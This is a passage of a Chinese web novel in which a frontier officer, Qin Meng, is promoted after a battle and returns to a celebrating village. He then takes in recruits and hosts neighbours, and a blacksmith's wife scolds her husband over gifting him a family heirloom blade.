他顿了顿,补充道:“另外,南河堡沿河的田地、草场再扩充十里之遥,足够养活你这次缴获的战马。”
赵将军没有放空话,当场便给
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了实在的好处。
秦猛见好就收,没有得寸进尺,欣然接受:“谢将军!”
“等等,你军寨初建,百废待兴,手下无人可用。”赵起见秦猛眉飞色舞,猛地一摆手。
“袁飞,徐强。”赵将**向身后。
“在。”背巨弓的青年和一个三旬壮汉应声逼停列。
“擢你二人各带五人,留在此处军寨,协助秦知寨训练兵马,引导督促边防,不得有误。”赵将军不给秦猛反应的机会,大声下令。
“是!”
“呃……”秦猛傻傻地看着这一幕。
赵将军看着错愕的秦猛,指着身边亲卫笑道:“秦知寨,我这两个亲卫,本领超群,正好协助你,尽快募兵训练,防范图鲁木部落来犯。”
“多谢将军厚爱。”秦猛神情恢复如常,拱手道谢。
一下子多了十来个将军身边的人,如同眼线。却利大于弊,不光是帮忙训练军队,最重要的是有事直接找将军,对代表是赵将军心腹。
随后,这位赵起将军没有理秦猛,而是嘉奖有功之人。秦大壮和李山、张富贵等人也同样得到了赏赐和升任低级军职的承诺,只要秦猛把名单递交上去就能认命,个个喜不自胜。
尘埃落定,烽烟散尽。
“秦寨主,”赵起端坐于战马上,声音穿透晨风,“此地便交予尔手。边墙不宁,鞑虏未清。
本将此去仍要巡视马水口、双涡港,黑峪关诸堡——你且守好这道口子,不可懈怠军务。”
他马鞭遥指北方荒原,目光如炬。
秦猛抱拳沉声应诺:“将军放心,末将定将此界河铸成铁壁!”
赵起微微颔首,目光扫过正在泥泞中忙碌分拣战利品的戍卒。魏知寨早已识趣地率队主道。
赵将军身后庞大骑队再度启动,铁蹄叩地声渐如沉雷远去,最终化作天际一道移动的玄色锋线。
朝阳东升,霞光洒落大地,照亮了战场的狼藉,也照亮了南河堡军民眼中对未来的期盼。
新堡主的旗帜,即将在这片浸满血与火的边陲之地升起,预示着一个属于秦猛的新时代,即将在此开启。
秦猛目送赵将军走远,转头看向将军亲卫,目光落在青年袁飞身上时,忍不住摩拳擦掌,脸上挂着几分戏谑的怪笑。
袁飞被他看得心里发毛,只能绷着一张脸,装作没瞧见。
秦猛本就没什么坏心思,不过是想着往后找机会,“教训”一下这傲气的小子,眼下正事要紧。
他领着十二个将军亲卫在燧堡内巡视,分派任务,又把秦大壮、张富贵等人唤来,彼此熟络了一番。
燧堡里很快烧起几大锅热水,秦猛脱掉狼裘衣,洗去身上血污,当即嘱咐秦大壮坐镇堡内:
一是仔细打扫战场,清点伤亡与缴获;二是加派岗哨严加防范,莫要给残余**可乘之机。
安排妥当后,秦猛便亲自带队,护送十来个受伤的弟兄,赶往军堡的医疗所救治。而边堡升军寨和他因功升为知寨官的消息一步传回!
第44章 边堡沸腾
破晓的霞光艰难刺穿了幽州边境弥漫的硝烟,将小南河边堡染上了一层疲惫的金红色。
但此刻,堡内堡外,却沸腾着近乎癫狂的喧嚣。
“喜事,大喜事!秦管队升官了!”
“军寨,是军寨啊!咱们边堡升格了!”
“天爷!往后咱堡里要有知寨老爷、主簿,税吏……”
消息像燎原的野火,瞬间点燃了沉寂许久的边地。
堡民们奔走相告,脸上混杂着难以置信与狂喜。
王婶得知这个消息后,第一个往秦家小院跑。
王寡妇、李婆子等堡里妇人不约而同地报喜而来。
边堡,这个苦寒之地的小小军事边堡,多少年来除了堡主,最高的位置也就是队将之流。
而从堡升格为军寨,意味着翻天覆地的变化。
——直接向飞虎大营奏报军情,粮饷由帅司、州府调拨。除了规模外,地位与南河城寨相当!
一旦人口、兵力达到规模,主簿、书吏、税吏、治安官、都头、工坊工头等职位不可或缺。
这些虽然只是“吏”,却是军寨体系内被正式承认的职位!
这意味着旱涝保收的额外粮饷,摆脱纯农户的身份,甚至是通向“官身”的第一道坚实台阶。
新兴军寨,职位空缺着呢!
这对于世代挣扎在生存线上的普通堡民和新安家的流民而言,简直是泼天的富贵砸在眼前。
最关键的是,这任命权在秦猛手上!
试问,最初那批堡民岂能不高兴?岂能不主动靠拢?
官署里,原本坐镇一宿,趴在案头昏昏欲睡的老保长王槐,被报信人的大嗓门吓得一激灵,瘦小的身躯几乎从破旧的椅子里弹了起来。
浑浊了半辈子的老眼瞬间瞪得溜圆,看着来报信的后生,锐利如鹰,哪里还有半分昏聩?
“当真?是虎贲军飞虎将军亲口允下的知寨官?”
得到确认后,老保长激动地拍着大腿,拐杖也丢到一边,绕着桌子走了好几圈,袖口的补丁都差点甩掉:“好、好、好!猛哥做的漂亮,秦家勇猛尚存,咱们堡…咱们寨熬出头了!”
“快,快通知堡民迎接知寨官,堡内上下要同心,咱们得支持自己人,发什么呆?快去。”
老保长边朝后生嚷嚷,边往外边走。
没走几步,这老头猛地止住脚步,再次折返,把甩掉的拐杖捡起来拄着,恢复老眼昏花,慢吞吞的样子,瞬间不复之前那副利落劲儿。
这一幕把报喜的后生看得瞠目结舌。
消息一传十十传百,堡内彻底沸腾了。
新近安顿下来的流民们更是喜极而泣。
军寨意味着更强的防御力量,意味着他们这个刚刚落脚、能吃饱饭的“新家”,终于有了稳定的根基,有了过上好日子的希望。
连一向沉默老实的李铁匠,望着堡外喃喃自语:“军寨?咱家大郎,是不是该唤回来了?如今时局混乱,考功名那路太难走,不如……”
一种从未有过的可能性在他心底滋生。
当朝阳渐炙,秦猛率领队伍抵达军堡外时,映入他眼帘的,是乌泱泱几乎倾巢而出的人群。
老保长王槐站在最前列,腰板挺得笔直,脸上是压抑不住的激动。
他的两侧,陈月娘紧握着秦小芸的手,两人眼眶都有些泛红,却都努力挺直着身体,眼中满是对夫君/哥哥平安归来的欣喜和一丝后怕的余悸。
他们三人,被堡民们簇拥着,如同众星捧月般,遥遥迎接着这位一夜之间改变边堡命运的年轻英雄。
“回来了,秦管队回来了!”
“以后得叫秦知寨!秦将军!”
“秦老爷威武!”
人群狂**挥手,杂乱的欢呼声响彻云霄,各种称呼混杂在一起,表达着最朴素的敬意和期待。
秦猛在马上连忙挥手,试图压下这片过于炽热的声浪:“乡亲们,停一停。低声些,这只是赵将军抬爱之言,正式的公文印信还未下达,切莫张扬。”
他并非不感激这份心意,只是深知人怕出名猪怕壮,边地险恶,过高的声名易招致明枪暗箭。
“秦知寨,你这话可差矣!”老保长两步抢上前,中气十足地反驳道,声音清晰地盖过了嘈杂。
“飞虎赵将军是何等人物?那是名震北疆、令**闻风丧胆的飞虎大将,他金口玉言,许诺你为知寨官,岂能有假?这堡寨升格之事,板上钉钉!”
老头底气十足的话,立刻引来更热烈的附和。
“就是!”
“老保长说得对!”
“秦知寨,您就别谦虚了!”
一片哄然的欢呼再次涌起。
陈月娘,秦小芸也激动地挥手,令秦猛一时无语。
就在这时,王寡妇从人群中挤了出来,红肿的眼睛急切地在队伍里搜寻,声音带着哭腔:“知寨…秦大人,俺家大宝…俺家那小子,他…他怎么样了?”
“春…”秦猛正要开口安抚这个忧心如焚的母亲。
张富贵的眼睛最尖,猛地指向边堡南边方向,扯着嗓子喊:“秦大人,快看南边,又来人了!”
众人下意识转头望去。
只见南方尘土微扬,一支浩浩荡荡、行动迟缓的车队正缓缓向堡门移来。
队伍之中有百多匹马,驮着人拉着车,车上挤满了衣衫褴褛、面黄肌瘦的百姓——正是庞仁押送着从**手中救回的人归来。
“娘——!娘啊——!”
队伍尚未到近前,一个稚嫩激动、几乎变调的大嗓门就已经穿透空气,清晰地传来。
接着,一个虎头虎脑的半大小子脱离队伍,飞奔而来。
是王大宝!
“大宝,我的儿…”王寡妇浑身一震,泪水瞬间决堤,嘶喊着儿子的名字跌跌撞撞地扑了过去。
人群让开一条通道,母子二人终于在堡门外相遇,死死
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抱住对方,爆发出撕心裂肺的痛哭。
这幕场景让许多人不禁抹眼角。
母子哭声在众人短暂的寂静中显得格外突兀。
因为大部分人的目光早已被一个庞大身影牢牢吸引——山蛮巨汉乌维!
堡民不看也不行,这身高过丈(一尺23厘米)、筋肉虬结如铜浇铁铸的巨汉,站在那些获救的流民和庞仁的士兵中间,简直就是鹤立鸡群。
阳光勾勒出他夸张的肌肉线条和脸上那道狰狞如蜈蚣的伤疤,野蛮、强悍、压迫感十足的气息扑面而来。
他拎着雪亮弯刀,那双闪烁着漠然精光的眼睛随意扫过人群,堡民们下意识地屏住了呼吸。
“蛮…蛮族?”袁飞和徐强见多识广,认了出来,脸色微变。
“乡亲们呐!不要怕,”秦猛拍马上前,指着乌维,朗声介绍道,“这位勇士叫做乌维,是我收服的亲兵。
以后就是咱们自己人,守护军寨!昨晚若非他拼死奋战,杀敌十余,我等恐怕难以全身而退。”
“没错!这好汉一dan子下去,**便如草包般瘪了……”庞仁立刻接上话茬,把昨晚亲眼看到乌维冲阵的勇猛表现,简单提了几句。
“乌维!乌维……”堡民们听到这大汉昨夜如此勇猛,一个个目光敬畏,欢呼声再次响起。
乌维听着欢呼声,岩石般的脸上罕见地咧开嘴角,露出一丝与其凶悍外形不符的、略带憨厚的笑容。
秦猛驱马来到他身边,板着脸低声叮嘱了几句军规。特别是强调自己人,堡内不可随意动手。
“好。”乌维点头,瓮声回应。
袁飞、徐强看着眼前这一幕,目光呆滞了,嘴里无意识地呢喃着,靠近些能听见这怎么可能?
他们今天被这小小的边堡一次次冲击着认知!
深山老林里的蛮族素来桀骜不驯,除了偶尔用皮**就近与村民交换粮食,几乎不与汉人打交道。
就算是幽州大营最精锐的部队,也绝无这等强悍的战士!
整个大周朝境内,能驯服这种量级战士的地方,那也是屈指可数。
谁能想到,在这偏僻的边堡小地,竟藏着如此一个怪物?
秦猛扫到袁飞、徐强脸上那种混杂着惊骇、敬畏的神情,嘴角勾起一丝微不可查的笑意。
他从马鞍旁抽出那把自扎哈尔处缴获的巨型弯刀。此刀又长又宽,刀身沉重,造型野蛮粗犷。
“接着!”他低喝一声,将弯刀抛向乌维。
乌维那蒲扇般的大手稳稳接住弯刀,掂量了一下那沉甸甸的分量,似乎颇为满意。
他那张刚毅的脸上笑容更浓了几分,露出雪白却略显森然的牙齿。
他笨拙的,但极其郑重地双手持刀,向秦猛微微躬身,发出含混的音节:“谢…头人赏。”
这一幕更是让围观的堡民噤若寒蝉,随后却又兴奋不已,看向秦猛的眼神中,敬畏更深。
第45章 战后,归宅暖语
“嘘——”
庞仁率领的车队ku''yu抵达堡门外。
数十辆马车上堆满了缴获的战利品:长弓短弓、弯刀**、血迹斑斑的衣甲军械。
靠后的车辆载着七八匹战马的尸体,还有一些捕奴团和**的尸体,甚至连草料都装了满满几车。
——这位庞什长果然听话,不放过任何有价值的东西。
堡外聚拢的人群自发让开一条更宽阔的道路,供车队入堡。
秦猛瞅见了尸体,立刻吩咐:“张富贵,你带人把死马送到杀猪棚去!王铁山,你和手下,把**和捕奴团的尸体都拉到燧堡那边,仔细清点登记清楚!”
“是!”张富贵、王铁山领命而去。
“报告管队爷!”庞仁则小跑着来到秦猛马前,双脚“啪”地靠拢,身形挺得笔直,大声汇报。
“所有乡亲、战利品安然送回军堡!”
他昨夜在破庙方归,还未得知秦猛升官之事,称呼仍未改变。
袁飞、徐强两人看着这戍卒昂首挺胸、站姿如松的架势,不禁又是一愣。对方身上散发一股莫名的肃杀感,与普通戍卒截然不同。
“庞小子,管队升官了,以后要叫秦知寨嘞!”老保长等上了年纪的堡民连忙吆喝着提醒。
“没错,飞虎卫赵将军亲口提拔的!”
庞仁听得一愣,随即眼中精光一闪,反应极快,立刻改口,声音洪亮:“秦知寨,此次战利品清点完毕,共缴获战马一百一十七匹……”
“停。”秦猛打断他:“不急着汇报,昨夜连续三场硬仗,人困马乏。眼下最要紧的两件事:
一,妥善救治伤员,参战人员休整;
二,此次收获庞大且杂乱。庞仁,你立刻将缴获清单初步整理出来,交给诸葛幕僚统计。”
秦猛不再耽搁,转向协助安顿人群的老保长:“保长,烦请立刻安顿伤员,并接收战利品。”
“好!”老保长应声拄着拐杖上前,接手安排:“大伙都别愣着了?但凡有伤员,立刻抬去医疗所!赵四,王老五,带几个人去搭把手。”
“手脚利落的婆子去官署收拾房间,带人烧水做饭。招待此战有功之臣,飞虎军诸位勇士。”王保长看到袁飞,徐强等人,不用秦猛解释,从他们身上黑甲就明白,立刻吩咐。
“家有一老,如有一宝呀!”秦猛心中感慨着,又在人群中张望呼喊:“幕僚长诸葛风何在?”
“属下在。”诸葛风闻声从一辆马车旁挤出人群。在堡内安置下来,书生脸上菜色被红润取代,头发稍显凌乱,但身姿挺拔,神态冷静。
“诸葛先生。”秦猛直接下令,“立刻着手。将救回的所有人员妥善安置登记,立下具状。
所有缴获战利品包括武器、铠甲、马匹等务必分门别类,详细统计造册。人员、物资,分毫不可错漏。处理好后,到我那里汇报即可。”
“是!大人。”诸葛风干脆利落地领命,眼神一扫,已有条不紊地开始召唤人手,赶赴燧堡。
“大人,这……”
庞仁凑近秦猛马前几步,似有话要说,却突然瞥见袁飞和徐强两个陌生面孔时,欲言又止。
秦猛看出庞仁的顾虑,眉头微皱,直言道:“你有话直说。这两位是飞虎营赵将军特批调来的教官。袁飞、徐强,协助整训军寨防务的。是自己人,信得过,不必藏着掖着。”
庞仁“哦”了一声,依旧是压低声音汇报着:“是小的没看好俘虏,捕奴团一个受伤轻的活口,趁我等对付**磨断绳子,钻狗洞跑了。”
“请大人责罚!”庞仁圆脸沮丧,声音充满了懊恼。
“算了,这些畜生狡猾得很,咱兄弟人没事就好。”秦猛狠狠斜了他一眼,没好气地摆手。
“好,自己跑了就好。”他眼神闪烁,冷笑连连。心里却说着消息不扩散,老子哪有机会动手?
两人的简短交谈虽声音极低,但离得近的袁飞和徐强还是隐约听到“捕奴团”“俘虏跑了”几个词。
他们又看着秦猛与庞仁之间那意会的眼神交流,越想越觉得这位秦知寨似乎在谋划着什么……
……
秦家小院。
秦猛将袁飞、徐强两位将军亲卫介绍给老保长认识,顺便交给老人安顿招待。他打了个哈欠,与陈月娘、秦小芸会合后,一同回了家。
陈月娘利落第收拾好耳房,供乌维单独居住。那魁梧壮汉微微低头躬身,才挤进这种铺屋。
陈月娘和秦小芸望着他的背影,脸上仍带着怯意。
这汉子身形实在太魁梧,往那儿一站,便自带一股无形的压迫感。
“别怕,乌维是个憨厚人。”秦猛见她们拘谨,忙安慰道,“她才刚成年不久,走出大山想看看外面的世界,没成想遇人不淑被抓住了……”
他说着乌维的遭遇,语气里带着惋惜。陈月娘和秦小芸静静听着,紧绷的神情渐渐舒缓。
厚重的木门“吱呀”合拢,将外面的喧嚣与风声隔绝。
刹那间,屋内光线温柔沉静下来。
阳光透过堂前窗棂,在地面投下摇曳的暖光晕。
厅内只剩秦猛和他最亲近的两位女子。
陈月娘——自幼养在秦家,与秦猛有婚约却未过门的
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姑娘,此刻笑容收敛,眼中的担忧再也藏不住。
清亮的泪珠在她眼眶里滚了几滚,终究没落下,那强忍不哭的模样,比泪落更让人心疼。
她几步上前,纤白手指带着轻颤,抚过秦猛铁甲上几道新裂口。
尤其是肩膀处那道狰狞的弯刀豁口,几乎延伸到胸口,能看见下面沾着尘土的甲片边缘。
指腹下的叶片粗糙冰冷,陈月娘的心却揪得更紧。
“猛子哥……”
她声音低如蚊蚋,带着后怕的哽咽,千言万语堵在喉头,只化作这一声含着浓情的呼唤。
秦小芸则直接得多。她像只受惊的小兔子,红着眼,猛地扑上前,紧紧抱住秦猛结实的胳膊。
女孩小脸煞白,还留着未干的泪痕。
“哥!听李叔说你追杀**,可吓死我们了!”
她带着哭腔:“姐姐守在这儿点了一宿灯,我眼睛都没敢闭……你下次再鲁莽,我就不理你了……”
后面的话被委屈和后怕淹没,只剩细细的抽噎。
加官进爵虽风光,可谁知道其中凶险?
秦猛在战场勇猛,皆是靠搏命换来的。
他看着至亲担忧的模样,心头一暖,像被温水熨过。脸上战场染的冷硬线条瞬间变得柔和。
秦猛习惯性想拍胸脯宽慰,又怕用力吓着她们。
他用带厚茧的大手,在胸口覆甲处轻轻拍了拍,发出“咚、咚”闷响。
“傻丫头,怕什么?”他看着秦小芸,声音浑厚低沉,带着抚慰力,“哥这不是好好回来了?连皮都没蹭破。”
“**来袭哪没危险?只有杀退**,才能守堡子。大家都害怕,龟缩,结果只能沦为……”
他没说出“两脚羊”,目光转向陈月娘。灯火映着她低眉泫然的模样,无言关切胜过千言。
“男人不拼命,怎么守家、护婆娘?”
他心头微动,下意识抬手拭去她眼角溢出的泪珠。
陈月娘感受到他的目光和动作,眼神慌乱,垂下头,一张俏脸“腾”地烧红,耳根染了绯色。
突如其来的羞意让她失措,男人指尖的温度烫得她心跳“砰砰”如擂鼓,几乎要撞出胸口。
“我……我去伙房做饭,给猛子哥你弄吃的!”她慌乱丢下一句,逃也似的转身往伙房去。
那薄红在女人白皙肌肤上晕开,像初绽的三月桃花。如在这微凉厅堂里添了抹暧昧春色。
秦猛望着她仓促背影,嘴角弯起丝不自觉的温柔笑意。
还没等陈月娘掀厨房布帘,门外传来急促拍门声和妇人哭腔:“秦知寨,在家吗?是我们啊!”
第46章 谢礼与投军
“是春兰姐!”秦小芸止了抽噎,和秦猛看向门口。
秦猛脸上的温柔笑意瞬间转为沉稳,示意小妹去开门。
“咯吱”堂屋门一打开,果然是隔壁的王寡妇,她头发有些散乱,眼睛红肿,显然是哭过许久。
她手里紧紧挎着一个盖着蓝布的竹篮,里面堆放着三十来个攒起来的鸡蛋,上面还沾着草屑。
她身边跟着鼻青脸肿的王大宝。
一进门,王寡妇“噗通”一声就跪在了地上,把篮子放在一边,用力推了一把身边的儿子。
“快!大宝,快给恩人磕头,快磕头!”
那王大宝倒也听话,“咚咚咚”三个响头就实实在在地磕在了冰冷的地砖上,脑门都红了。
“使不得,嫂子快起来,快起来!”秦猛眉头一皱,一个箭步上前,一把抓住王大宝的胳膊,稳稳地将这孩子提了起来,不让他再磕下去。
他看着王寡妇苦笑:“春兰姐,你这是做什么?快起来说话。乡里乡亲,碰上了哪有不帮的道理?”
秦小芸不用吩咐,忙弯腰去搀扶地上的王寡妇。
王寡妇想起昨晚的凶险,眼泪又止不住地流:“猛哥儿,要不是你…我家大宝他…他昨晚就…”
““是大宝运气好。”秦猛摆手打断,一拍脑袋笑道:“多亏了石头,嫂子应该好好谢谢石头。”
“这个自然,小妇人记住了。”王寡妇重重点头。她弯腰拎起地上的篮子,双手递给秦猛。
“我…我们家穷,实在拿不出别的……这点鸡蛋……”她看着那个珍贵的篮子,声音哽咽。
“望…望秦大人莫要嫌弃!”
对一个寡妇来说,这一篮子鸡蛋是自己舍不得吃,攒了多少时日、是家里较为值钱的物什。
秦猛看了一眼篮子里的鸡蛋,没有丝毫嫌弃,反而郑重地伸出大手将那篮子稳稳接了过来。
“好,嫂子一番心意,我收下了。”
他知道,有时候收下这份心意,比推辞更能让对方心安。反正缴获点清狗也会挨家挨户分发。
秦猛转身,对还没来得及躲进厨房、此刻正站在布帘边的陈月娘朗声道:“月娘,鸡蛋正好。
劳烦你多添几碗米,把这些鸡蛋蒸上、炒上,多割些野猪肉炖着,请王嫂子和侄子吃个饭!”
陈月娘脸上的红晕还未完全褪去,闻言连忙应声道:“哎!我这就去准备!”
她接过秦猛递来的鸡蛋篮子,入手沉甸甸的,感受着这份母亲的情谊,转身快步去了伙房。
王寡妇有些手足无措:“这……这怎么好意思……”
还没等她婉拒,院外突然有女人的嚷嚷响起:“俺就说嘛!知寨他顾家,哟?春兰妹子也在?”
众人循声望去。
李铁匠引着王婶和三个人走进了院子。
除了这对邻居夫妇,身后三人两男一女——那两位昂藏魁梧、浑身透着彪悍劲的青年,正是昨夜与秦猛并肩浴血厮杀的王善、**兄弟。
在他们身边,还站着个约莫十六七岁的姑娘:模样清秀,身材匀称,相貌与王善兄弟有几分神似,利落短打配腰间短刀,透着飒爽劲。
她双臂修长有力,步伐轻盈而沉稳,健康的小麦色皮肤衬得眼神愈发灵动,隐隐透着股野性。
“秦知寨,秦大人……”王婶的脸上笑开了花。
秦猛却板起脸,无奈道:“王婶、李叔,说了多少次,咱们是一家人,私下里别这么见外。父母走后,月娘撑起这个家,没您和各位叔伯婶子帮衬、接济,我秦猛怕早就饿**!”
“没错,您这般客套,我们如何心安。”
陈月娘,秦小芸纷纷附和,一脸不高兴的模样。
“你这婆子,有话直说。”铁匠李根生在旁埋怨。
“行行行。”王婶连赔笑,侧身指着身后两青年:“猛哥儿,这就是俺娘家那俩不省心的侄子。
昨儿夜里多亏您带着,臭小子们,”
她转头喝斥:“还不快拜见大人?承蒙大人带你们杀**立功。”
王善、**对视一眼,齐齐上前单膝下跪,抱拳行礼,声如洪钟:“王善(**)拜见秦将军!我兄弟愿投军追随左右,效死杀贼!”
他们眼中满是对力量的崇拜与建功的渴望——昨夜目睹秦猛的勇猛,早已心服口服。
秦猛看着这对悍勇双胞胎,心中大喜。昨夜并肩作战这两人勇猛,已见实力,他早问清楚:兄弟俩猎户出身,还曾拜师老军学过武艺。
如今正式投效,正是充实亲兵班底的好材料。
“好,痛快!”秦猛哈哈大笑,一手一个将他们搀扶起来:“起来吧!秦某已是磐石营副将,你们就留在我身边当亲兵,跟着好好学本事!”
“谢将军!”兄弟二人起身肃立,脸上难掩激动。
“还有艳儿呢!”王婶又忙把姑娘往前推:“猛哥儿,这丫头叫王艳,见哥哥们投军,吵着也要来,说她学艺多年,力气不输男娃……”
妇人语气里半是无奈半是骄傲。
“休要胡闹。”李铁匠轻声喝止,“咱大周朝哪有女子投军的先例?”
“哼,别处不管,咱这是边陲!”王婶瞪了丈夫一眼,自顾说道,“边堡时时刻刻面临危险。**凶残,可不会因为是女人就手下留情。
忘了李家屯、芦苇堡?如今只剩残垣断壁,当年被摧毁多少人惨死,女人**就少了吗?”
在场人都知晓往事,气氛一时沉默。
“俺觉得边陲不分男女,**来了,全家都得齐上阵护家园!”王婶蛋手叉腰,泼辣说教。
话音刚落,
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秦猛便点头赞同:“王婶说得在理。”
王婶见状更高兴,拉着侄女上前:“俺家小艳儿刀枪棍棒,骑马射箭,样样精通,咋就不行?”
王艳挺起胸脯,直视秦猛:“秦大人,俺有力气,会使刀枪,骑射,俺也要从军杀**,为乡亲们报仇。”
秦猛看着这眼神倔强、野性勃勃的姑娘,有些哭笑不得。直接拒绝伤了情分,答应又不合规制。
——军中尚无女兵先例,组建女兵更是惊世骇俗。
他略一沉吟,有了主意:“艳儿姑娘勇气可嘉。但大周军中暂无女兵编制……这样吧,你身手好,先负责保护我夫人陈月娘的安全,她身边正需可靠之人。
待日后军寨壮大、时机成熟,我便考虑组建女子巡逻队或医护队,到时给你留个位置,如何?”
这话既给了台阶,又留了念想,更安排了实际用处。
王艳眨巴大眼,看看羞涩的陈月娘,又瞅瞅秦猛认真的神情,觉得在“将军夫人”身边做事也不错。
尤其“日后时机成熟”的承诺实在诱人。
她“嗯”了一声:“那行!俺先保护夫人!”
说着她便主动站到陈月娘身边,惹得月娘轻笑。秦小芸与她年纪相仿,凑过来,倒也投缘。
“秦大人,俺家大宝也想加入堡寨少年队随军操练!”
一旁的王寡妇看得眼热,立刻拉着儿子王大宝上前。
从前她总担心儿子安全,经历劫掠后才明白,手握刀枪才最实在,何况入伍还有粮食补贴。
“大人,俺不怕吃苦,俺要杀坏人、杀**!”王大宝捂着淤青的脸颊,咬牙切齿地道。
秦猛见孩子眼中的恨意,思索片刻后,点头:“没问题,到时候去报名,就说是我说的。”
接下来,秦猛索性也留李铁匠夫妇等人吃饭,又让亲兵去请刘瘸子、刘大牛、石头三人。
特别嘱咐把功臣大黄也带来加餐。
随着被邀请的人盗了,秦家小院渐渐热闹起来。
张富贵办完事回家休息,见此情景也带着老婆过来。
伙房这边,陈月娘、王寡妇、王婶、富贵婆娘杨氏忙着做饭。
院里,秦猛与张富贵、王善、**切磋武艺。
秦小芸、王艳、王大宝、石头等孩子在旁观看,不时叫好。
临近中午,伙房传来招呼声,秦猛又把乌维拽起床,这憨货不情不愿,听到吃的跑得飞快。
女人在伙房坐了一桌。
秦猛、张富贵、李铁匠等大老爷们凑成一桌。
张富贵抱来两坛舍不得喝的好酒。
众人把酒言欢,聊着胜仗后朝廷或许会给的奖励……
直到酒足饭饱,众人各自回去休息。
秦猛奔波作战了一夜,早已累极,倒头便呼呼大睡起来……
第47章 妇人之见
不
“哎哟!我说你这死老头子!”李铁匠领着婆娘和三个子侄回到小院,王婶脸上的笑容消失。
她一把拽住丈夫粗壮的胳膊,不由分说就把他往里屋拖:“杵这儿干啥?灶王爷都得嫌你挡道!”
堂屋门被她“砰”的一声用力关上,扬起几缕浮尘,也隔绝了门外愕然,探头探脑的子侄们。
——王善、**,还有小侄女王艳。
门内,王婶立刻开了腔,声音压低了,但那股子恨铁不成钢的劲儿却像炉膛里鼓足了风。
“你、你你你!让我说你什么好!俺使眼色给猴儿看。活该你一辈子在铁匠铺子里捶铁!”
李根生被这连珠炮似的话问懵了,搓着手上的老茧,茫然地抬起头:“咋……咋了婆子?”
“咋了?你还有脸问?”王婶炸毛了。
她踮起脚,手指头几乎戳到李根生的鼻尖,“猛哥儿留咱们吃饭,多好的机会。啊?天赐良机!多少人巴巴地想往他跟前凑都没门路。
你们爷仨倒好,尽说些‘**可恨’、‘收获不错’的片儿汤话。怎么?嘴巴被铁水焊**?就不能在猛哥儿面前,提提咱家俩娃的本事?”
她气得胸口起伏,唾沫星子都差点喷出来。
李根生这才明白过来,脸上挤出那标志性的苦笑,带着几分无奈和憨厚:“你这婆子……咱们是做客的,我这……让我如何说得出口嘛?”
“怎么就不能说了?”
王婶的调门陡地拔高:“你张不开这张老嘴,难道指望小善、小良两个棒槌自己凑上去。
跟将军说‘我能行’、‘我本事大’?那不成卖大力丸的了?”她狠狠剜了丈夫一眼,语速飞快。
“你就坐在对面,给王善、**说几句实打实的好话:‘猛哥儿,我家小善九岁就能摔倒黄牛犊子,那股子猛劲儿,可少见!’
‘小良十二岁就能举起老碾场那几百斤的石碾子,根基扎实着哩!’这些响当当的本事,你半个字都不提?你是要捂馊了,带到土里去?”
她叉着腰,身子前倾,那双常年操劳、略显粗糙的手用力拍着膝盖:“你得让猛哥儿看重他们。
得留下有本事的好印象,这次军功提拔多少人盯着?错过了这次露脸的机会,以后升官发财的门槛儿有多高,你能拿铁锤敲平喽?啊?”
李根生像是被炉火烤得难受,嘴唇蠕动着,喉咙里发出含糊的“咕哝”声,想反驳,奈何词库贫瘠得像干涸的水洼。
他憋得额头都沁了汗,最终只变成一声沉重的叹息,沉默地垂下头,任由婆娘逞口舌之利。
他嘴笨,根本就说不过,几十年了,面对这张利嘴,永远是那个笨口拙舌、被“锤打”的铁砧。
王婶瞧着丈夫这副闷葫芦模样,气就不打一处来,但话题一转,又扯出了新主意:
“你呀,光知道打铁,连人情世故都锈住了。
我过门那年,咱家太爷健在,整日整夜钻在炉火里不归家,捣鼓啥?忘了?叫啥刀来着。
咱家不是传下来一把好刀吗?搁哪了?快拿出来!”
李根生猛地抬眼,浑浊的眼里闪过一丝惊讶和迟疑:“狗刀?”
“对!就是那把老爷子宝贝似的刀!”王婶拍着大腿,斩钉截铁,“之前在秦家,我看得真真儿的。猛哥儿那两把佩刀都砍出豁口卷刃了。
你把那把家传的好刀送给他,这是雪中送炭!他能不念着你李根生这份大人情?他能不记着咱家的好?你再说几句好话,这事就成了。”
“刀……”李根生的神情变了。眼中不再是憨厚的无奈,而是掠过一层深沉的追忆与慎重。
他当然记得。爷爷用了最好的铁料,足足琢磨了两三年,汗水不知道流了多少,炉火不知熬干了多少回。那是老人凝聚毕生心血锻造。
——是李家铁匠最后的骄傲。
他嗓子有些发干:“有这个必要吗?娃们要是真有本事……”
“你就是个榆木疙瘩!死脑筋!”王婶的声音陡然又拔高八度,戳着他的胸口,“咱家以前帮衬过秦家没错,左邻右舍的情分是一码事。
可猛子如今不一样了!连连升官,带着咱们堡寨在战场上挣脸面,开春了,估计又会被提拔。
咱们主动靠拢,表表心意,这叫人情世故!这情分需走动,加了份量,才更瓷实!懂不懂?”
李根生被戳得后退半步,皱着眉,终于找到个话缝**去:“猛哥儿的性子,我最清楚。
跟他爹当年一个模子刻出来的,骨头里都是倔强。
要强着呢!只要咱家小善、小良真有那个实力,是能杀敌立功的好苗子,上阵又听话,还怕不能出人头地?他不会委屈了真正有本事的人!”
提起猛哥儿的父亲,他声音里带着罕见的肯定。眼中闪过追忆,那也是自己儿时的玩伴。
“那是两码事儿!”王婶的气势被丈夫这少有的坚持给顶回去几分,但依旧强硬过,
“做长辈的,替娃们说句话,担个保,怎么了?能让猛哥儿心里更底实,念及情分,稍微照拂一二,也让娃们心头更安稳,少走弯路!”
堂屋门外。
王善、**两个大小伙子,耳朵紧贴着门缝,大气不敢出。
王善脸上涨得通红,似乎姑姑提起他九岁戴红花环被牛追,摔倒黄牛的旧事让他既得意又害臊。
弟弟**则捏紧了拳头,仿佛那几百斤的石碾子就在脚边,恨不得再次举起来让人惊叹。
门板后的唠叨声还在突突响着,就在兄弟俩紧贴的门继续偷听时,门板“吱呀“一声突然打开。
两人重心不稳,跟滚葫芦似的摔滚进了堂屋。
“哼,两个小兔崽子!“王婶叉着腰,冷笑不止,“从小就爱扒门缝听墙根,这毛病不改改。
以**了军营可怎么得了?军规如山,军令如铁,哪能由着你们这般散漫,自
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己得争气……“
炮火突然转向自己,两人跟被针扎了似的赶紧站直,脊梁挺得笔直,眼神飞快地在空中碰了一下,满是“这锅怎么扣过来了“的无奈。
王善偷偷瞟了眼**被灰尘蹭脏的裤腿,**则瞅见哥哥歪到一边的帽檐,都憋着不敢笑。
他俩转脸看到若无其事的李铁匠,刚才姑父一直没出声,只偶尔传来几声劝“少说几句”。
想到姑父几十年如一日在这“唇枪舌剑”的炉火里煅烧,两人对视一眼,竟不由得肃然起敬,暗暗佩服姑父这千锤百炼的忍耐功夫。
“你俩那是什么眼神?老娘说话,你们得听。”王婶嘴巴是一刻不得闲,火力无缝转向。王善和**两个小伙被训斥得抬不起头来。
